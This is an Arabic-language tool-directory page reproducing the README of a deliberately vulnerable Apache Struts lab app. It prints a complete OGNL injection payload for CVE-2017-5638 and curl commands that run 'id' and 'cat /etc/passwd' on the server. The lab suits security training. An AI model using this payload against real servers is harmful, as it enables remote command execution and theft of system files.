Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
struts-rce — استغلال ثغرة تنفيذ التعليمات البرمجية عن بُعد (RCE) في Apache Struts CVE-2017-5638 | Kitploit
أدوات/GitHubGitHub/ggolawski/struts-rce
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubggolawski/struts-rce

struts-rce

استغلال ثغرة تنفيذ التعليمات البرمجية عن بُعد (RCE) في Apache Struts CVE-2017-5638

عرض المستودع
12منذ 8 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

:source-highlighter: pygments

= استغلال Apache Struts CVE-2017-5638

تم بناء تطبيق الويب البسيط هذا باستخدام Apache Struts 2.5.10 الضعيف (CVE-2017-5638). وهو عرضة لتنفيذ الأوامر عن بُعد (RCE).

== بدء تشغيل تطبيق الويب

لبدء تشغيل تطبيق الويب الضعيف، نفّذ الأمر التالي:

mvn jetty:run

سيكون التطبيق متاحًا على المنفذ 8012 افتراضيًا. يمكنك تغييره:

mvn -Djetty.http.port= jetty:run

== الوصول إلى تطبيق الويب

للوصول إلى تطبيق الويب الضعيف، افتح الرابط التالي في متصفحك: http://127.0.0.1:8012/struts-rce. إذا غيّرت المنفذ الافتراضي، عدّل الرابط وفقًا لذلك.

== استغلال تطبيق الويب

يمكن استغلال الثغرة لتنفيذ أمر تعسفي على جانب الخادم (RCE). يتم تضمين الحمولة في ترويسة HTTP Content-Type. ستقوم الحمولة التالية بتنفيذ الأمر id: [source,http]

Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#p=new java.lang.ProcessBuilder({'/bin/bash','-c','id'})).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

سينفّذ الأمر التالي أمر id على جانب الخادم: [source,bash]

curl -H "Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#p=new java.lang.ProcessBuilder({'/bin/bash','-c','id'})).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" http://127.0.0.1:8012/struts-rce/index.action

سينفّذ الأمر أدناه cat /etc/passwd: [source,bash]

curl -H "Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#p=new java.lang.ProcessBuilder({'/bin/bash','-c','cat /etc/passwd'})).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" http://127.0.0.1:8012/struts-rce/index.action

تنزيل الأداة